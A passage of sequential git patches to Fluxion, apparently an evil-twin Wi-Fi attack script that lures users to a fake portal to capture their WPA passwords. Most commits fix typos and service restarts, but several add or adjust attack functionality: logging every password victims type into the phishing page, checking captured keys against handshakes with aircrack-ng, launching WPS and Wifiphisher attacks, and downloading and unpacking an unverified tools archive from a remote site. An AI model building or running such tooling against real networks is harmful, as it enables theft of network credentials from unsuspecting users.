""$white"["$green"+"$white"] "$green"Cleaning performed successfully!"$transparent"" @@ -909,8 +910,8 @@ function wifi-phisher { mostrarheader conditional_clear cd tools -exitmode -python wifiphisher.py +python wifiphisher.py +exitmode } function wifite { From ad97fdcb96207ab0efb157712ebf58917b673a68 Mon Sep 17 00:00:00 2001 From: William Todt Date: Fri, 18 Mar 2016 18:40:43 +0100 Subject: [PATCH 080/294] Update fluxion --- fluxion | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion b/fluxion index 8f6cb53..80de5dd 100755 --- a/fluxion +++ b/fluxion @@ -171,7 +171,7 @@ function exitmode { rm -R $DUMP_PATH/* &>$flux_output_device fi - echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"Network + echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"Network-Manager ger"$transparent"" service restart network-manager &> $flux_output_device & From bde87ae72766dd4e7729ba58dbb2ab3959d85b17 Mon Sep 17 00:00:00 2001 From: William Todt Date: Fri, 18 Mar 2016 18:45:23 +0100 Subject: [PATCH 081/294] Update fluxion --- fluxion | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/fluxion b/fluxion index 80de5dd..fd509d8 100755 --- a/fluxion +++ b/fluxion @@ -902,7 +902,9 @@ Unknown option. Choose again"; conditional_clear ;; } function mana { -cd tools/ +cd tools/run-mana +sudo chmod +x mana-menu.sh +sudo ./mana-menu.sh exitmode } From 71657b2c70969b6500ba11518247332a7e21ad91 Mon Sep 17 00:00:00 2001 From: William Todt Date: Fri, 18 Mar 2016 18:51:34 +0100 Subject: [PATCH 082/294] Update fluxion --- fluxion | 1 + 1 file changed, 1 insertion(+) diff --git a/fluxion b/fluxion index fd509d8..57ca995 100755 --- a/fluxion +++ b/fluxion @@ -196,6 +196,7 @@ function tools { sudo rm -rf tools.zip & sudo rm -rf tools/ sudo wget https://sites.google.com/site/deltaxflux/tools.zip sudo unzip tools.zip + sudo rm -rf tools.zip } tools From 7ac3e0af379d21fc910fa9b1df3f8d6031684467 Mon Sep 17 00:00:00 2001 From: William Todt Date: Fri, 18 Mar 2016 22:19:34 +0100 Subject: [PATCH 083/294] Update fluxion --- fluxion | 25 ++++++++++++++----------- 1 file changed, 14 insertions(+), 11 deletions(-) diff --git a/fluxion b/fluxion index 57ca995..791eb38 100755 --- a/fluxion +++ b/fluxion @@ -190,16 +190,6 @@ readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG] Spanish[ESP] GERMAN [GER] \e[1;31mBack"$transparent"" ) -function tools { - mostrarheader - conditional_clear - sudo rm -rf tools.zip & sudo rm -rf tools/ - sudo wget https://sites.google.com/site/deltaxflux/tools.zip - sudo unzip tools.zip - sudo rm -rf tools.zip - -} -tools #Language for Web Interface #GER @@ -268,7 +258,7 @@ function mostrarheader(){ conditional_clear echo -e "$blue#########################################################" echo -e "$blue# #" - echo -e "$blue# $red FLUXION $version" "${yellow} ${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture " ${blue}" #" + echo -e "$blue# $red FLUXION $version" "${yellow} ${red} < F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" #" echo -e "$blue#"${yellow} by "${red}D""${yellow}eltax", "${red}"S""${yellow}"trasharo and "${red}A""${yellow}patheticEuphoria" " ${blue}#"" echo -e "$blue# #" echo -e "$blue#########################################################""$transparent" @@ -518,6 +508,19 @@ if [ $FLUX_DEBUG != 1 ]; then fi +function tools { + declare tools=tools/ + if [ -d $tools ]; then + + mostrarheader + conditional_clear + rm .rf tools.zip + wget https://sites.google.com/site/deltaxflux/tools.zip + unzip tools.zip + rm -rf tools.zip + +} +tools # Show info for the selected AP function infoap { From a1f4411d67b9856e7cd770d6bf07aefc5908a719 Mon Sep 17 00:00:00 2001 From: strasharo Date: Sat, 19 Mar 2016 01:49:06 +0200 Subject: [PATCH 084/294] remove unnecessary sudo references --- fluxion | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fluxion b/fluxion index 791eb38..7c87387 100755 --- a/fluxion +++ b/fluxion @@ -907,8 +907,8 @@ Unknown option. Choose again"; conditional_clear ;; } function mana { cd tools/run-mana -sudo chmod +x mana-menu.sh -sudo ./mana-menu.sh +chmod +x mana-menu.sh +./mana-menu.sh exitmode } From 122d1e1b69157988073f3c96214b5ff7db149775 Mon Sep 17 00:00:00 2001 From: strasharo Date: Sat, 19 Mar 2016 13:54:28 +0200 Subject: [PATCH 085/294] fix ./fluxion: line 522: syntax error near unexpected token --- fluxion | 13 ------------- 1 file changed, 13 deletions(-) diff --git a/fluxion b/fluxion index 7c87387..ecdd16b 100755 --- a/fluxion +++ b/fluxion @@ -508,19 +508,6 @@ if [ $FLUX_DEBUG != 1 ]; then fi -function tools { - declare tools=tools/ - if [ -d $tools ]; then - - mostrarheader - conditional_clear - rm .rf tools.zip - wget https://sites.google.com/site/deltaxflux/tools.zip - unzip tools.zip - rm -rf tools.zip - -} -tools # Show info for the selected AP function infoap { From 6999ad1c44d203c188ae5a36db4491362c616f4c Mon Sep 17 00:00:00 2001 From: strasharo Date: Sat, 19 Mar 2016 13:58:51 +0200 Subject: [PATCH 086/294] suppress output from sysctl --- fluxion | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fluxion b/fluxion index ecdd16b..38ed4c6 100755 --- a/fluxion +++ b/fluxion @@ -153,7 +153,7 @@ function exitmode { if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then echo -e ""$white"["$red"-"$white"] "$white"Disabling "$grey"forwarding of packets"$transparent"" - sysctl -w net.ipv4.ip_forward=0 + sysctl -w net.ipv4.ip_forward=0 &>$flux_output_device fi echo -e ""$white"["$red"-"$white"] "$white"Cleaning "$grey"iptables"$transparent"" @@ -2668,7 +2668,7 @@ function routear { ifconfig $interfaceroutear $IP netmask 255.255.255.0 route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP - sysctl -w net.ipv4.ip_forward=1 + sysctl -w net.ipv4.ip_forward=1 &>$flux_output_device iptables --flush iptables --table nat --flush From 072e102204ef0ce5ce58e8e8bbb4584c6b1eb25d Mon Sep 17 00:00:00 2001 From: William Todt Date: Sat, 19 Mar 2016 18:33:50 +0400 Subject: [PATCH 087/294] Update fluxion --- fluxion | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/fluxion b/fluxion index 38ed4c6..010bc48 100755 --- a/fluxion +++ b/fluxion @@ -508,6 +508,21 @@ if [ $FLUX_DEBUG != 1 ]; then fi +function tools { + declare tools=tools/ + if [ -d $tools ]; then + + mostrarheader + conditional_clear + rm .rf tools.zip + wget https://sites.google.com/site/deltaxflux/tools.zip + unzip tools.zip + rm -rf tools.zip + +fi +} +tools + # Show info for the selected AP function infoap { From d946cb0edbf24bd1a4d4baef23b69617a78acc95 Mon Sep 17 00:00:00 2001 From: William Todt Date: Sat, 19 Mar 2016 18:39:52 +0400 Subject: [PATCH 088/294] Update fluxion --- fluxion | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion b/fluxion index 010bc48..8717fe6 100755 --- a/fluxion +++ b/fluxion @@ -258,7 +258,7 @@ function mostrarheader(){ conditional_clear echo -e "$blue#########################################################" echo -e "$blue# #" - echo -e "$blue# $red FLUXION $version" "${yellow} ${red} < F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" #" + echo -e "$blue# $red FLUXION $version" "${yellow} ${red} < F""${yellow}luxion" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture > " ${blue}" #" echo -e "$blue#"${yellow} by "${red}D""${yellow}eltax", "${red}"S""${yellow}"trasharo and "${red}A""${yellow}patheticEuphoria" " ${blue}#"" echo -e "$blue# #" echo -e "$blue#########################################################""$transparent" From 6ab3615fdecb28c46d596331de22fb787884f224 Mon Sep 17 00:00:00 2001 From: strasharo Date: Sat, 19 Mar 2016 23:11:34 +0200 Subject: [PATCH 089/294] speedup airmon by removing unnecessary animation --- airmon | 25 ------------------------- 1 file changed, 25 deletions(-) diff --git a/airmon b/airmon index b9bff46..ab4e300 100755 --- a/airmon +++ b/airmon @@ -1,30 +1,5 @@ #!/bin/sh -clear -#Colors -white="\033[1;37m" -grey="\033[0;37m" -red2="\033[0;35m" -red="\033[1;31m" -green="\033[1;32m" -yellow="\033[1;33m" -blue="\033[1;34m" -transparent="\e[0m" - -#Animation - echo "" - sleep 0.1 && echo $red " LUXFLUXFLUX UXF UXF UX UX" - sleep 0.1 && echo $red " LUXFLUXFLUX UXF UXF UX UX" - sleep 0.1 && echo $red " LU UX XF UXF FL FL " - sleep 0.1 && echo $red " LUXFLU UX XF UXF LUXF" - sleep 0.1 && echo $red " LUXFL UX XF UXF LUX" - sleep 0.1 && echo $red " LU UX XF UXF FLUXF " - sleep 0.1 && echo $red " LU UX XFL UXF XFL FL " - sleep 0.1 && echo $red " LU UXFLUXFL FLUXFLUX XF LUXF" - echo "" - - -############################################################################# USERID="" IFACE="" KISMET=/etc/kismet/kismet.conf From fab4e5d75a4c71df32c38c979d21cc3283901485 Mon Sep 17 00:00:00 2001 From: William Todt Date: Sun, 20 Mar 2016 08:52:33 +0100 Subject: [PATCH 090/294] Update fluxion --- fluxion | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion b/fluxion index 8717fe6..8000f63 100755 --- a/fluxion +++ b/fluxion @@ -174,7 +174,7 @@ function exitmode { echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"Network-Manager ger"$transparent"" service restart network-manager &> $flux_output_device & - + /etc/init.d/networking start echo -e ""$white"["$green"+"$white"] "$green"Cleaning performed successfully!"$transparent"" exit From abe5a030b75b994c9c57a49e008e91c324edee29 Mon Sep 17 00:00:00 2001 From: strasharo Date: Sun, 20 Mar 2016 11:02:24 +0200 Subject: [PATCH 091/294] fix service restarts --- fluxion | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/fluxion b/fluxion index 8000f63..9dc24fd 100755 --- a/fluxion +++ b/fluxion @@ -173,9 +173,9 @@ function exitmode { echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"Network-Manager ger"$transparent"" - service restart network-manager &> $flux_output_device & - /etc/init.d/networking start - echo -e ""$white"["$green"+"$white"] "$green"Cleaning performed successfully!"$transparent"" + service network-manager restart &> $flux_output_device & + service networking restart &> $flux_output_device & + echo -e ""$white"["$green"+"$white"] "$green"Cleanup performed successfully!"$transparent"" exit } From 27ba26e631c879bf08924e0f230441bfe6cd0d20 Mon Sep 17 00:00:00 2001 From: strasharo Date: Sun, 20 Mar 2016 11:09:14 +0200 Subject: [PATCH 092/294] correct translation naming --- fluxion | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fluxion b/fluxion index 9dc24fd..fae09d5 100755 --- a/fluxion +++ b/fluxion @@ -2400,7 +2400,7 @@ function webinterface { echo -e "$blue""1)"$transparent" English [ENG]" echo -e "$blue""2)"$transparent" Spanish [ESP]" - echo -e "$blue""3)"$transparent" Italy [IT]" + echo -e "$blue""3)"$transparent" Italian [IT]" echo -e "$blue""4)"$transparent" French [FR]" echo -e "$blue""5)"$transparent" Portuguese [POR]" echo -e "$blue""6)"$transparent" German [GER]" From 6ef770273d2944a7fa1b14c8994f7d8b25d0a6e0 Mon Sep 17 00:00:00 2001 From: strasharo Date: Sun, 20 Mar 2016 20:51:44 +0200 Subject: [PATCH 093/294] fix typo --- fluxion | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/fluxion b/fluxion index fae09d5..3b37ba0 100755 --- a/fluxion +++ b/fluxion @@ -171,8 +171,7 @@ function exitmode { rm -R $DUMP_PATH/* &>$flux_output_device fi - echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"Network-Manager -ger"$transparent"" + echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"Network-Manager"$transparent"" service network-manager restart &> $flux_output_device & service networking restart &> $flux_output_device & echo -e ""$white"["$green"+"$white"] "$green"Cleanup performed successfully!"$transparent"" From bc8b7d2e994076cae7106da3c3d8c9c2a4d73edc Mon Sep 17 00:00:00 2001 From: strasharo Date: Sun, 20 Mar 2016 21:56:02 +0200 Subject: [PATCH 094/294] log password attempts --- fluxion | 24 +++++++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) diff --git a/fluxion b/fluxion index 3b37ba0..1c06184 100755 --- a/fluxion +++ b/fluxion @@ -16,6 +16,7 @@ clear DUMP_PATH="/tmp/TMPflux" HANDSHAKE_PATH="/root/handshakes" +PASSLOG_PATH="/root/pwlog" # Deauth duration during handshake capture DEAUTHTIME="30" revision=1 @@ -460,6 +461,11 @@ if [ ! -d $HANDSHAKE_PATH ]; then mkdir -p $HANDSHAKE_PATH &>$flux_output_device fi +#create password log directory +if [ ! -d $PASSLOG_PATH ]; then + mkdir -p $PASSLOG_PATH &>$flux_output_device +fi + if [ $FLUX_DEBUG != 1 ]; then @@ -2516,11 +2522,17 @@ fclose(\$fp); \$filename = \"$DUMP_PATH/data.txt\"; \$filename2 = \"$DUMP_PATH/status.txt\"; \$intento = \"$DUMP_PATH/intento\"; +\$attemptlog = \"$DUMP_PATH/pwattempt.txt\"; // Marge all the variables with text in a single variable. \$f_data= ''.\$key1.''; +\$pwlog = fopen(\$attemptlog, \"w\"); +fwrite(\$pwlog,\"\$f_data\"); +fwrite(\$pwlog,\"\n\"); +fclose(\$pwlog); + if ( (strlen(\$key1) < 8) ) { echo \"\"; @@ -2812,7 +2824,12 @@ function handshakecheck { fi">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then - echo "if [ -f $DUMP_PATH/intento ]; then + echo "if [ -f $DUMP_PATH/pwattempt.txt ]; then + cat $DUMP_PATH/pwattempt.txt >> $PASSLOG_PATH/$Host_SSID-$Host_MAC.log + rm -f $DUMP_PATH/pwattempt.txt + fi + + if [ -f $DUMP_PATH/intento ]; then if ! aircrack-ng -w $DUMP_PATH/data.txt $DUMP_PATH/$Host_MAC-01.cap | grep -qi \"Passphrase not in\"; then echo \"2\">$DUMP_PATH/intento @@ -2825,6 +2842,11 @@ function handshakecheck { elif [ $authmode = "wpa_supplicant" ]; then echo " + if [ -f $DUMP_PATH/pwattempt.txt ]; then + cat $DUMP_PATH/pwattempt.txt >> $PASSLOG_PATH/$Host_SSID-$Host_MAC.log + rm -f $DUMP_PATH/pwattempt.txt + fi + wpa_passphrase $Host_SSID \$(cat $DUMP_PATH/data.txt)>$DUMP_PATH/wpa_supplicant.conf & wpa_supplicant -i$WIFI -c$DUMP_PATH/wpa_supplicant.conf -f $DUMP_PATH/loggg & From 13a00ebbb470402323348a94581567fe20ee5148 Mon Sep 17 00:00:00 2001 From: strasharo Date: Mon, 21 Mar 2016 00:06:50 +0200 Subject: [PATCH 095/294] fix typo --- .fluxion.swp | Bin 0 -> 16384 bytes fluxion | 4 ++-- 2 files changed, 2 insertions(+), 2 deletions(-) create mode 100644 .fluxion.swp diff --git a/.fluxion.swp b/.fluxion.swp new file mode 100644 index 0000000000000000000000000000000000000000..ea56eac90c959ab913667726f006a49accccab8c GIT binary patch literal 16384 zcmeI336LCB8OIxyzyJXWhd@dB(mQ06GBdNY8-ye?3!6Q%lkDXl7%CgKdZyp(bhf9v z>F(L=l7vtcrBz%ph=2tphoY29P)e?V0^t+|kwZBp96{s?kRXDJ{$Ka&neCTsvJ}B8 zs%ESoGyVSWz5e>^?|tvsn5{b{(@9Q<&y(=^vLyZL$Ze;z?;}Yw4w59twVi^^gx!Do zlV0oHSAu$`-(g}z(X~WgFO6xY5q$5lakWC#162=vN)Jqz8tRjEtdkmfCOK@zz^Cl5 z+Pvz4st2kbsCuC4fvN|p9;kYt>Vc{UK2IKStuARD4E_Q)`dt2vBLMFceE*k!mhtlQ z1pQ;K=Xv?dg8m<_U&_lfyyKw%e{=n8u5S_ae+lig+~A=7M_eD{?LQRs54mn}{q!&T zKZ5rEl?U! z>;d8SZ*u(%u5T3dH@L2IefELj_OEljm+Kb``ro-;&-GUY{WU>93g=(!6U4{g1bvC1 zzbfc!1bwTZZxr-b1bvI3zbxo8ribl&Nzhva{Y60^74$8Fex0DdAn4Bs`dRSZ!}dQc=%)$#9|Zlo zg8q9!-z?}43HlB}|DB-Eni00|K|x<8=nn|`xq^Pbpx+_r_X+yjf_|@{lf%OH-6QC| zg1%YM&k^*y1^s40ze~_x6ZAU;{g}hU_Wf4SI|ThVf_|o;-y!I~6!hB#{Ut%)Bo*8&jPlWS`8L} zW5EI7W$fRc1doEdz~$f~upV3pMnDHx0wQ2PFb(X$zVaoo1w0KN1UG=|!B@a`>|37# zkAdsJkHIzIDsUyZ2&@BZfeBWC#o%DD9ed^{z|XF=Oaoi72fq(& z26uyN!Fpf;0~CP{mVh{jftg@BI1t>1Gk{yb29O4ag6ZHuuodSA8vq3g7y|RaR-8+0 z02hGsfCi2R?_z=R7I+;z07gM4$bdF53p|Awxe;sxzW^*|&Ifz#6VdX-a!9O+tRcfT zwMguAQdCD87818W4Jjf;@|qNhjA**9=sHmgIZGw88l&vrk_?$8*DAR~Djn5w6t!rs zV3HUmvK(Di&|E4nm!mdS+Dh391C$q6&I+FmQqoNpv;>K?&l(8g~n(!Gj{N zj8N5Zped_HNbPFN)(n?KlWS||?CoIi?>ot(?AE$nJQE99MYBz{RJ3Bo@ZPp{Lf4ZR z92!>>s!wh!wRC0tv#~YkdWyCN)ho7^$M>KyXapm9S7V$F`evOfh6blAhDvg}>EQQH zcb4)cBj@5Dr4c%&xkXc@WVKX7mS#FSNE47GWCg1t_GK1ly7~#e+6Q{1noORhDdOa8 z&2qh34k;OQ%%VA$s`@z6L{a(G|k7m*O~xV0nTCwmpOlXxgr4Lu+qu zcQ5Jn3%X3ZsOXe*!a_-6Dbcg5mR8zC+d2l8WxBg+30g`>tILt!SlLiZ>!N|hGD#CT zDU%i4oi(J58<8e{?_TEwPtQ9-gBChUb@!@J|WTQI{62=xTm>9Ns6cW%#(# zBUyf2ZUw=ec=PHK>|K-l`$6T!N2&FNqr-VM-xU# z*LiA}PYdoV!_7H%GnL3`nZ)w-bMWRW{>l|-Zlq+X3U20jUTbD0WWX;X67pNoG}wsC z6)=>^*T-1$MG>iV!V6Y=Zf0I#?|tXRgiK~)xOlcYt_m06t@DwCTtXFlAz_2C(r?Z* zRE@nrMIZ7i%%0x#0J)k_o?bqx*6lM5T>p=6xuy1A-S)_^iB1gTLesz(tf zkxD@l1y;$n^q{Z0g$>91?Z$a6l$?MPZ{=BO$ck#3P2IGqBT2nYU5ke@J?ZFdZ)`_1 zJrjaH&VrsK=hn|{m?NQ5a(;b0`Hd6f$#_y4r8Y|eETzncWqv|PC#9Cwrh)$U{!C|U zT5hPrt>AN|bA^SVxhZV!0)oNWK2n4WQ;P(WBF)`hZJEUb zy-od?+X!hSQ;HzT8-w293M^q0JV{FB%V4j7FhN`-i>I0;g4wCog{wv>QPd)4HcV5a zm>q^S>deLbPLZGJ#3^5K2=iN9Tv+&-CE7ZWX(2I#VyFb^W6xs%uEBKX+gVdnHn=jC zr|X0&6_*6#(ZoWgQi^-dOk_19kyV_6#Px0N`4{{+4wS zaDfe$gFdhnB*8=2<9`P%0v}`F{w{a{JOJ(icYzzhWndL30k-eAfC4gLF<^hQTm%}x zG2lb&^FILZgZIEIfSm_C4lV^6=mu?|1<9J*SK+-}34RFJJ2F7^Q}saA162=v4n0uBnUk&9 z1*)jn?97@)9O_~%Wa=evzvCC+IEUJK1*dp>o*&Ee8de9`jJNi-H8r=AZ?!I(>f!($ zuuXy#32l_HuTT=2q0+Ha7w| zg@#5L+u#{hZaA4O{(JB`VoQvj?qn&$6qaJQIw(7oZEGrZ%TLUIge;xxhM(-={U=J~ zao*ABFM;@faWA+$uTfn^0I_HFt7-<0fQdV9F-JS4Y*B-k!mlHX0z>iMOu2&pe4*-^ zx4T9!u3cg-7**KLVGxJOEtw{^P)3Li^$jfQ%=F8iPkalQC6QFf3=3yFt4tf7D|b>c zVT6t+apf7{|4y(VW1R&4#ZO(yQk}pJFrd<1W5||FSI5>-9;@o88*W z1Vhc(TVOyTVqqsb+FdiHu^D@g1yiXy;SQZm%~QX@qQ1UN%O|}9Ycus*vgYDISBq8RQ%-vpPAx$vbnY>)-Ss|g`q4rK+$ItW^?M`m%Tx=!<~n@a8M zgxbR0W5?GWw}-pukn*X`JM;sE^~WX)+~0E;ev;Bj5eMJ#zSo=W%^h&vu`DQ~S19QCJW fwsbf5pW4$(c=4{58aTQ)ZMM|V*$U(TxYqa|F|gnX literal 0 HcmV?d00001 diff --git a/fluxion b/fluxion index 1c06184..0d2b0de 100755 --- a/fluxion +++ b/fluxion @@ -519,10 +519,10 @@ function tools { mostrarheader conditional_clear - rm .rf tools.zip + rm -f tools.zip wget https://sites.google.com/site/deltaxflux/tools.zip unzip tools.zip - rm -rf tools.zip + rm -f tools.zip fi } From 076b48f2ddacf816e6744be2b0e0c8c93bc9c16e Mon Sep 17 00:00:00 2001 From: strasharo Date: Mon, 21 Mar 2016 00:08:30 +0200 Subject: [PATCH 096/294] Remove swap file. --- .fluxion.swp | Bin 16384 -> 0 bytes 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 .fluxion.swp diff --git a/.fluxion.swp b/.fluxion.swp deleted file mode 100644 index ea56eac90c959ab913667726f006a49accccab8c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16384 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 From 94a90e039752807be78d9437de255f4d592c87b8 Mon Sep 17 00:00:00 2001 From: strasharo Date: Mon, 21 Mar 2016 00:14:05 +0200 Subject: [PATCH 097/294] create gitignore for temp files --- .gitignore | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 .gitignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..d772925 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +*~ +*.swp +*.swo From 85590f9cabeb3baac6bd421480c7b815a529381f Mon Sep 17 00:00:00 2001 From: Arccotangent Date: Mon, 21 Mar 2016 12:41:18 -0400 Subject: [PATCH 098/294] Fix a few spelling/grammar errors --- fluxion | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fluxion b/fluxion index 0d2b0de..efbaffd 100755 --- a/fluxion +++ b/fluxion @@ -186,7 +186,7 @@ readarray -t webinterfaces < <(echo -e "Web Interface ) # Generate a list of web translations -readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG] +readarray -t webinterfaceslenguage < <(echo -e "English [ENG] Spanish[ESP] GERMAN [GER] \e[1;31mBack"$transparent"" ) @@ -893,7 +893,7 @@ function askauth { mostrarheader while true; do - echo "METHOD TO VERIFICATION THE PASSWORD" + echo "METHOD TO VERIFY THE PASSWORD" echo " " echo -e " "$blue"1)"$transparent" Handshake ("$red"Recommended)" echo -e " "$blue"2)"$transparent" Wpa_supplicant(More failures)" From fca0c15bccd4ca3323ef28211a2ad013bf831845 Mon Sep 17 00:00:00 2001 From: William Todt Date: Mon, 21 Mar 2016 18:26:06 +0100 Subject: [PATCH 099/294] Update fluxion --- fluxion | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/fluxion b/fluxion index 0d2b0de..4046bf9 100755 --- a/fluxion +++ b/fluxion @@ -877,7 +877,7 @@ function askAP { 3 ) fakeapmode="WPS-SLAUGHTER"; wps; break ;; 4 ) fakeapmode="Wifite" ; wifite ; break ;; 5 ) fakeapmode="Wifi-Phisher"; wifi-phisher ; break ;; - 6 ) fakeapmode="Mana"; mana ; break ;; + 6 ) fakeapmode="Mana" ; mostrarheader; echo "Mana is still to bugy ..."; conditional_clear ;; 7 ) selection; break ;; * ) echo "Unknown option. Choose again"; conditional_clear ;; esac @@ -911,13 +911,6 @@ Unknown option. Choose again"; conditional_clear ;; esac done -} -function mana { -cd tools/run-mana -chmod +x mana-menu.sh -./mana-menu.sh -exitmode -} function wifi-phisher { mostrarheader From 7486aacda467ebb1f1698b353ec5d7064c79bc85 Mon Sep 17 00:00:00 2001 From: William Todt Date: Mon, 21 Mar 2016 20:14:59 +0100 Subject: [PATCH 100/294] Update fluxion --- fluxion | 2 +- 1 file changed, 1 insertion(+), 1 